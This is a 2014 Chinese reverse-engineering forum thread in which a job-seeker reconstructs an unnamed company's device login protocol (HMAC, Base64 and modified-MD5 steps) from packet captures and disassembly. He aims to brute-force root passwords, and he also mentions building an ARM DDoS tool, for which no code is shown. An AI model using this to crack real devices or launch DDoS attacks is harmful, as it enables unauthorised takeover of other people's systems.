吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 10089|回复: 18
收起左侧

[调试逆向] 逆向HMAC认证协议写爆破程序+写ARM DDOS+[求职]

[复制链接]
wzy41718682 发表于 2014-4-23 14:34
本帖最后由 wzy41718682 于 2014-4-23 18:15 编辑

本人学历大专,22岁,14年毕业,所有掌握内容完全兴趣指引自学,对软件比较有兴趣,最近说服爸妈想要出去试试。希望在此能找到份喜欢的工作。最好是山东地区..个人品德可以..
-------------------------------------------------------------------------------------------------
本人小菜一枚,若有错误请大神们指正。
这是一个某上市公司XXX的登陆密码验证的程序,其设备覆盖全球,分析协议后可对其爆破密码....爆破root密码后可以...各种。。如果您已经知道这漏洞请希望您不要爆料..提交过2次漏洞都被无视了以后也不想再提交了。尤其是阿里某某竟然先修复了漏洞然后回复没漏洞,我都惊呆了 幸好我做了个录像作纪念,还有一个公司聊天套漏洞的。。。

了解HMAC 百度百科解释[理论这东西,我基础不好 只看理论我比较头大]:
HMAC是密钥相关的哈希运算消息认证码(Hash-based Message Authentication Code),HMAC运算利用哈希算法,以一个密钥和一个消息为输入,生成一个消息摘要作为输出。
算法表示
算法公式 : HMAC(K,M)=H(K⊕opad∣H(K⊕ipad∣M))
H 代表所采用的HASH算法(如SHA-256)
K 代表认证密码
Ko 代表HASH算法的密文
M 代表一个消息输入
B 代表H中所处理的块大小,这个大小是处理块大小,而不是输出hash的大小
如,SHA-1和SHA-256 B = 64
SHA-384和SHA-512 B = 128
L 表示hash的大小
Opad 用0x5c重复B次
Ipad 用0x36重复B次
Apad 用0x878FE1F3重复(L/4)次

认证流程
(1) 先由客户端向服务器发出一个验证请求。
(2) 服务器接到此请求后生成一个随机数并通过网络传输给客户端(此为挑战)。
(3) 客户端将收到的随机数提供给ePass,由ePass使用该随机数与存储在ePass中的密钥进行HMAC-MD5运算并得到一个结果作为认证证据传给服务器(此为响应)。
(4) 与此同时,服务器也使用该随机数与存储在服务器数据库中的该客户密钥进行HMAC-MD5运算,如果服务器的运算结果与客户端传回的响应结果相同,则认为客户端是一个合法用户
------------------------------------------------------------------
一、抓取HMAC认证协议过程的数据包

[Asm] 纯文本查看 复制代码
1.发送IP:端口 一段16进制数据 size:84 = 0x54 [小注:1]
74 73 58 72 63 73 58 59 73 39 = username
62 62 58 63 73 58 63 74 73 74 = password
00 00 00 54 5A 00 00 00 00 00 00 00 00 01 00 00 04 00 28 C1 00 00 00 00 08 01 A8 C0 B8 70 F4 28 7B 6C 00 00 74 73 58 72 63 73 58 59 73 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 62 62 58 63 73 58 63 74 73 74 00 00 00 00 00 00
// 正在编辑。。。。。。。。。。。。。。。。。。稍等
2.若server回复以下16进制数据 表示:是HMAC认证协议 第4位==4C固定
00 00 00 4C AF 0F 00 00 00 00 00 64 04 00 28 C1 

3.接收加密数据 [小注:2]
NjdlMzk1NmM0NGJhOTQzMTcwMjZhNjhiNzgzOGRmZDM=................
4E 6A 64 6C 4D 7A 6B 31 4E 6D 4D 30 4E 47 4A 68 4F 54 51 7A 4D 54 63 77 4D 6A 5A 68 4E 6A 68 69 4E 7A 67 7A 4F 47 52 6D 5A 44 4D 3D 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 

4.发送[账号][密码]加密数据 [小注:3]
00 00 00 54 63 00 00 00 00 00 00 00 00 01 00 00 04 00 28 C1 00 00 00 00 08 01 A8 C0 B8 70 F4 28 7B 6C 00 00 BD 01 BA 46 68 E9 C2 AE 75 5F 81 57 E5 0F C9 DC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3D 55 46 FD B2 FE 10 A5 76 10 BD FA 4B DA 96 B1

5.接收数据完成验证过程
加粗为固定标志代码
01 04==密码正确 
03 04==密码错误
00 00 00 6C DA 0C 00 00 00 00 00 01 04 00 28 C1 
00 00 00 6C F0 00 00 00 00 00 00 03 04 00 28 C1


这就是我逆向的这个程序的整个HMAC认证协议流程。
------------------------------------------------------------------

二、分析验证程序,肢解各个加密功能模块。
///////////////////////////////////////////////////////////////////// 代码:
1.逆向第1个账号密码加密模块 -- [见小注:1]
这个模块不是很难 直接用IDA F5功能就可以逆向出C源码但是核心算法处有问题需要手动修正几个地方
//------------------------------------//
10084B60  /$  8B5424 04     mov edx,dword ptr ss:[esp+0x4]
10084B64  |.  55            push ebp
10084B65  |.  56            push esi
10084B66  |.  57            push edi
10084B67  |.  33ED          xor ebp,ebp
10084B69  |.  33FF          xor edi,edi
10084B6B  |.  85D2          test edx,edx
10084B6D  |.  0F84 9E000000 je XXXXXXXX.10084C11
10084B73  |.  8B7424 14     mov esi,dword ptr ss:[esp+0x14]
10084B77  |.  85F6          test esi,esi
10084B79  |.  0F84 92000000 je XXXXXXXX.10084C11
10084B7F  |.  8B4424 18     mov eax,dword ptr ss:[esp+0x18]
10084B83  |.  85C0          test eax,eax
10084B85  |.  0F84 86000000 je XXXXXXXX.10084C11
10084B8B  |.  7E 79         jle short XXXXXXXX.10084C06
10084B8D  |.  53            push ebx
10084B8E  |>  8A0A          /mov cl,byte ptr ds:[edx]
10084B90  |.  80F9 0D       |cmp cl,0xD
10084B93  |.  74 6A         |je short XXXXXXXX.10084BFF
10084B95  |.  80F9 0A       |cmp cl,0xA
10084B98  |.  74 65         |je short XXXXXXXX.10084BFF
10084B9A  |.  0FBEC9        |movsx ecx,cl
10084B9D  |.  0FBE5A 01     |movsx ebx,byte ptr ds:[edx+0x1]
10084BA1  |.  0FBE89 9C4A0A>|movsx ecx,byte ptr ds:[ecx+0x100A4A9C]
10084BA8  |.  C1E1 12       |shl ecx,0x12
10084BAB  |.  42            |inc edx
10084BAC  |.  0FBE9B 9C4A0A>|movsx ebx,byte ptr ds:[ebx+0x100A4A9C]
10084BB3  |.  C1E3 0C       |shl ebx,0xC
10084BB6  |.  03CB          |add ecx,ebx
10084BB8  |.  42            |inc edx
10084BB9  |.  8BD9          |mov ebx,ecx
10084BBB  |.  C1FB 10       |sar ebx,0x10
10084BBE  |.  881E          |mov byte ptr ds:[esi],bl
10084BC0  |.  8A1A          |mov bl,byte ptr ds:[edx]
10084BC2  |.  46            |inc esi
10084BC3  |.  47            |inc edi
10084BC4  |.  80FB 3D       |cmp bl,0x3D
10084BC7  |.  74 31         |je short XXXXXXXX.10084BFA
10084BC9  |.  0FBEDB        |movsx ebx,bl
10084BCC  |.  0FBE9B 9C4A0A>|movsx ebx,byte ptr ds:[ebx+0x100A4A9C]
10084BD3  |.  C1E3 06       |shl ebx,0x6
10084BD6  |.  03CB          |add ecx,ebx
10084BD8  |.  42            |inc edx
10084BD9  |.  8BD9          |mov ebx,ecx
10084BDB  |.  C1FB 08       |sar ebx,0x8
10084BDE  |.  881E          |mov byte ptr ds:[esi],bl
10084BE0  |.  8A1A          |mov bl,byte ptr ds:[edx]
10084BE2  |.  46            |inc esi
10084BE3  |.  47            |inc edi
10084BE4  |.  80FB 3D       |cmp bl,0x3D
10084BE7  |.  74 11         |je short XXXXXXXX.10084BFA
10084BE9  |.  0FBEDB        |movsx ebx,bl
10084BEC  |.  0FBE9B 9C4A0A>|movsx ebx,byte ptr ds:[ebx+0x100A4A9C]
10084BF3  |.  03CB          |add ecx,ebx
10084BF5  |.  42            |inc edx
10084BF6  |.  880E          |mov byte ptr ds:[esi],cl
10084BF8  |.  46            |inc esi
10084BF9  |.  47            |inc edi
10084BFA  |>  83C5 04       |add ebp,0x4
10084BFD  |.  EB 02         |jmp short XXXXXXXX.10084C01
10084BFF  |>  42            |inc edx
10084C00  |.  45            |inc ebp
10084C01  |>  3BE8          |cmp ebp,eax
10084C03  |.^ 7C 89         \jl short XXXXXXXX.10084B8E
10084C05  |.  5B            pop ebx
10084C06  |>  8BC7          mov eax,edi
10084C08  |.  C606 00       mov byte ptr ds:[esi],0x0
10084C0B  |.  5F            pop edi
10084C0C  |.  5E            pop esi
10084C0D  |.  5D            pop ebp
10084C0E  |.  C2 0C00       retn 0xC
10084C11  |>  5F            pop edi
10084C12  |.  5E            pop esi
10084C13  |.  83C8 FF       or eax,-0x1
10084C16  |.  5D            pop ebp
10084C17  \.  C2 0C00       retn 0xC
#include "stdafx.h"
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
int sub_100838E0(char* a1, char *Dest, int a3)
{
int v3; // ecx@1
signed int v5; // eax@4
signed int v6; // edx@6
char v7; // al@7
char v8; // al@8

int ch;
v3 = 0;
*Dest = 0;
if ( !a3 )
  return -1;
if ( a3 > 0 )
{
  v5 = 1;
  do
  {
   [COLOR="red"]ch  = a1[v5-1];
   ch = ch *v5;//v5 * (unsigned char)(a1 + v5 - 1);;
   ch = ch ^v5;//v5 ^ v5 * (unsigned char)(a1 + v5 - 1);
   v3 += ch;
   ++v5;[/COLOR]
  }
  while ( v5 - 1 < a3 );
}
sprintf(Dest, "%u", 1751873395 * v3);
v6 = 0;
if ( (signed int)(strlen(Dest) - 1) > 0 )
{
  while ( 1 )
  {
   v7 = Dest[v6];
   if ( v7 < 51 )
    break;
   if ( v7 < 53 )
   {
    v8 = v7 + 47;
    goto LABEL_15;
   }
   if ( v7 < 55 )
   {
    v8 = v7 + 62;
    goto LABEL_15;
   }
   if ( v7 < 57 )
   {
    v8 = v7 + 33;
    goto LABEL_15;
   }
LABEL_16:
   [COLOR="red"]++v6;
   if ( v6 >= (signed int)(strlen(Dest) ) )[/COLOR]
    return 0;
  }
  v8 = v7 + 66;
LABEL_15:
  Dest[v6] = v8;
  goto LABEL_16;
}
return 0;
}
int main(int argc, char* argv[])
{
char abb[100] ={"0"};

sub_100838E0("admin",abb,5);
printf("admin?ó?ü = %s\n", abb);
sub_100838E0("12345",abb,5);
printf("12345?ó?ü = %s\n", abb);
return 0;
}//------------------------------------//
运行效果:
1.jpg

2.逆向第2个账号密码加密模块 -- [见理论]Opad 用0x5c重复B次 Ipad 用0x36重复B次
//------------------------------------//
[Asm] 纯文本查看 复制代码
100848E0 8A8C04 C4000000 mov cl, byte ptr [esp+eax+0xC4] ; keys
100848E7 8A5C04 18 mov bl, byte ptr [esp+eax+0x18] ; keys
100848EB 80F1 36 xor cl, 0x36 ; keys ^ 0x36
100848EE 80F3 5C xor bl, 0x5C ; keys ^ 0x5C
100848F1 888C04 C4000000 mov byte ptr [esp+eax+0xC4], cl ; rekey = keys
100848F8 885C04 18 mov byte ptr [esp+eax+0x18], bl
100848FC 40 inc eax
100848FD 83F8 40 cmp eax, 0x40 ; while(eax < 0x40)
10084900 ^ 7C DE jl short 100848E0


//------------------------------------//

3.逆向第3个账号密码加密模块
//------------------------------------//
10084B8D    53              push    ebx
10084B8E    8A0A            mov     cl, byte ptr [edx]               ; cl = ascii_keys
10084B90    80F9 0D         cmp     cl, 0xD                          ; if(cl == 0x0D)  then
10084B93    74 6A           je      short 10084BFF                   ;     jmp xxxx
10084B95    80F9 0A         cmp     cl, 0xA                          ; if(cl == 0x0A)  then
10084B98    74 65           je      short 10084BFF                   ;     jmp xxxx
10084B9A    0FBEC9          movsx   ecx, cl                          ; ECX = cl
10084B9D    0FBE5A 01       movsx   ebx, byte ptr [edx+0x1]          ; EBX = ascii_keys[i+2]
10084BA1    0FBE89 9C4A0A10 movsx   ecx, byte ptr [ecx+0x100A4A9C]   ; EBX = ASCII加密表[ecx]
10084BA8    C1E1 12         shl     ecx, 0x12                        ; ECX <<= 0X12
10084BAB    42              inc     edx                              ; * ascii_keys++; ASCII数组从左边去掉一个
10084BAC    0FBE9B 9C4A0A10 movsx   ebx, byte ptr [ebx+0x100A4A9C]   ; EBX = ASCII加密表[ebx]
10084BB3    C1E3 0C         shl     ebx, 0xC                         ; EBX <<= 0x0C
10084BB6    03CB            add     ecx, ebx                         ; ECX += EBX
10084BB8    42              inc     edx                              ; * ascii_keys++; ASCII数组从左边去掉一个
10084BB9    8BD9            mov     ebx, ecx                         ; EBX = ECX
10084BBB    C1FB 10         sar     ebx, 0x10                        ; EBX >>= 0x10
10084BBE    881E            mov     byte ptr [esi], bl               ; is_out = ("%c", EBX)
10084BC0    8A1A            mov     bl, byte ptr [edx]               ; EBX = ascii_keys
10084BC2    46              inc     esi
10084BC3    47              inc     edi
10084BC4    80FB 3D         cmp     bl, 0x3D                         ; if(EBX == 0x3D)  then
10084BC7    74 31           je      short 10084BFA                   ;     jmp xxxx
10084BC9    0FBEDB          movsx   ebx, bl
10084BCC    0FBE9B 9C4A0A10 movsx   ebx, byte ptr [ebx+0x100A4A9C]   ; EBX = ASCII加密表[ebx]
10084BD3    C1E3 06         shl     ebx, 0x6                         ; EBX <<= 0x6
10084BD6    03CB            add     ecx, ebx                         ; ECX += EBX
10084BD8    42              inc     edx                              ; * ascii_keys++; ASCII数组从左边去掉一个
10084BD9    8BD9            mov     ebx, ecx                         ; EBX = ECX
10084BDB    C1FB 08         sar     ebx, 0x8                         ; EBX >>= 0x8
10084BDE    881E            mov     byte ptr [esi], bl               ; is_out = ("%c", bl)
10084BE0    8A1A            mov     bl, byte ptr [edx]               ; bl = ascii_keys
10084BE2    46              inc     esi
10084BE3    47              inc     edi
10084BE4    80FB 3D         cmp     bl, 0x3D                         ; if(bl == 0x3D)  then
10084BE7    74 11           je      short 10084BFA                   ;     jmp xxxx
10084BE9    0FBEDB          movsx   ebx, bl                          ; EBX = bl
10084BEC    0FBE9B 9C4A0A10 movsx   ebx, byte ptr [ebx+0x100A4A9C]   ; EBX = ASCII加密表[ebx]
10084BF3    03CB            add     ecx, ebx                         ; ECX += EBX
10084BF5    42              inc     edx                              ; * ascii_keys++; ASCII数组从左边去掉一个
10084BF6    880E            mov     byte ptr [esi], cl               ; is_out = ("%c", cl)
10084BF8    46              inc     esi
10084BF9    47              inc     edi
10084BFA    83C5 04         add     ebp, 0x4                         ; ebp += 0x4
10084BFD    EB 02           jmp     short 10084C01
10084BFF    42              inc     edx
10084C00    45              inc     ebp
10084C01    3BE8            cmp     ebp, eax                         ; if(EBP < EAX=0x3C=60)  then
10084C03  ^ 7C 89           jl      short 10084B8E                   ;     jmp  回去继续循环~
对应写的C源码
加密表 :
100A4A9C  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
100A4AAC  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
100A4ABC  00 00 00 00 00 00 00 00 00 00 00 3E 00 00 00 3F  ...........>...?
100A4ACC  34 35 36 37 38 39 3A 3B 3C 3D 00 00 00 00 00 00  456789:;<=......
100A4ADC  00 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E  .... ..
100A4AEC  0F 10 11 12 13 14 15 16 17 18 19 00 00 00 00 00  .....
100A4AFC  00 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 26 27 28  .32 !"#$%&'(
100A4B0C  29 2A 2B 2C 2D 2E 2F 30 31 32 33 00 00 00 00 00  )*+,-./0123.....

for每次取4位字符  strlen(随机keys) = 44
char ascii_keys[] = {"MDBkNDQ5NTdmYmU5YjZiNjE5OTQxZWE0MTNlODA5OGE="};
char is_out[100]={0};
int str1,str2,str3,str4;
for (int i=0; 0x3C<i; i+=4)
{
    str1 = ascii_keys;
    if(0x0D == str1 || 0x0A == str1)
    {
        break;
    }
    str2 = ascii_keys[i+1];
    str3 = 加密表[str1];
    str2 = 加密表[str2];
    str2 <<= 0x0C;
    str1 += str3;
    str3 <<= 0x12;
    str3 = str1;
    str3 >>= 0x10;
    strcat(is_out, str3);
    str2 = ascii_keys[i+3];
    if(0x3D == str2)
    {
        break;
    }
    str2 = 加密表[str2];
    str2 <<= 0x6;
    str1 += str2;
    str2 = str1;
    str2 >>= 0x8;
    strcat(is_out, atox(str2) & 0xFF);
    str2 = ascii_keys[i+4];
    if(0x3D == str2)
    {
        break;
    }
    str2 = 加密表[str2];
    str1 += str2;
    strcat(is_out, atox(str1) & 0xFF);
}
//------------------------------------//

4.逆向第4个账号密码加密模块 -- 这个模块是变异MD5 在IDA里面F5修改一下就OK 代码实在太多太多 也曾经有人分析过类似的:武林外传登陆数据包加密算法分析[http://bbs.pediy.com/showthread.php?t=101948]
//------------------------------------//

5.接收加密数据[见小注:2]经过如上加密数据后,发送[账号][密码]加密数据[见小注:3]
6.接收数据完成验证过程,判断账号密码是否验证成功。
经过如上步骤,就完成爆破程序了,经过爆破root密码后进而可以控制设备了。。设备是ARM Linux的。以前买过ARM6410学过点..根据以前写的windows DDOS 写了个 Linux DDOS 然后交叉编译成ARM DDOS 运行测试了下还行。。。只是用于安全测试!!然后都卸载了


2.jpg
3.jpg
不要抱怨自己运气不好,机会不多,我觉得:机会、运气是自己创造的!
-------------------------------------------------------------------------------------------------
本人学历大专,22岁,14年毕业,所有掌握内容完全兴趣指引自学,对软件比较有兴趣,最近说服爸妈想要出去试试。目前被父母困在家乡县市集团公司做流程报表 刚刚发了1443元的工资。。。。希望在此能找到份喜欢的工作。最好是山东地区..个人品德可以..
希望有赏识的联系我的QQ 41718682






点评

无良厂商阿里 楼主 你是没去 乌云看下 哪里才是厂商的比如腾讯  发表于 2014-4-23 14:56

免费评分

参与人数 3热心值 +3 收起 理由
zw1010314279 + 1 我很赞同!
Dlan + 1 求ARM远控
无颜君〃 + 1 完全看不懂啊。大牛

查看全部评分

本帖被以下淘专辑推荐:

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

manbajie 发表于 2014-4-23 14:54
楼主强悍

免费评分

参与人数 1热心值 +1 收起 理由
Dlan + 1 谢谢@Thanks!

查看全部评分

 楼主| wzy41718682 发表于 2014-4-23 15:33
y79112 发表于 2014-4-23 15:08
一进来下了一跳,你竟然用了和老大一样的头像,我还狠狠的确定了一下你的名字。。。

是么。。。。我一直这个头像啊...你老大盗我头像。。。{:1_912:}

点评

是论坛的老大  发表于 2014-4-23 16:26
Dlan 发表于 2014-4-23 14:45
小彡哥 发表于 2014-4-23 14:47
真不知道是什么.不过看起来挺牛的
血染de枫彩 发表于 2014-4-23 14:51
祝楼主早日找到好工作
 楼主| wzy41718682 发表于 2014-4-23 14:54
Dlan 发表于 2014-4-23 14:45
上午在看雪看了。。。

谢谢。。你的image 。。 让我在公司都不敢看。。
xuanwuben 发表于 2014-4-23 14:59
支持下楼主!
y79112 发表于 2014-4-23 15:08
一进来下了一跳,你竟然用了和老大一样的头像,我还狠狠的确定了一下你的名字。。。
a1126368860 发表于 2014-4-23 15:33 来自手机
我不是老板
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-3-28 23:23

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表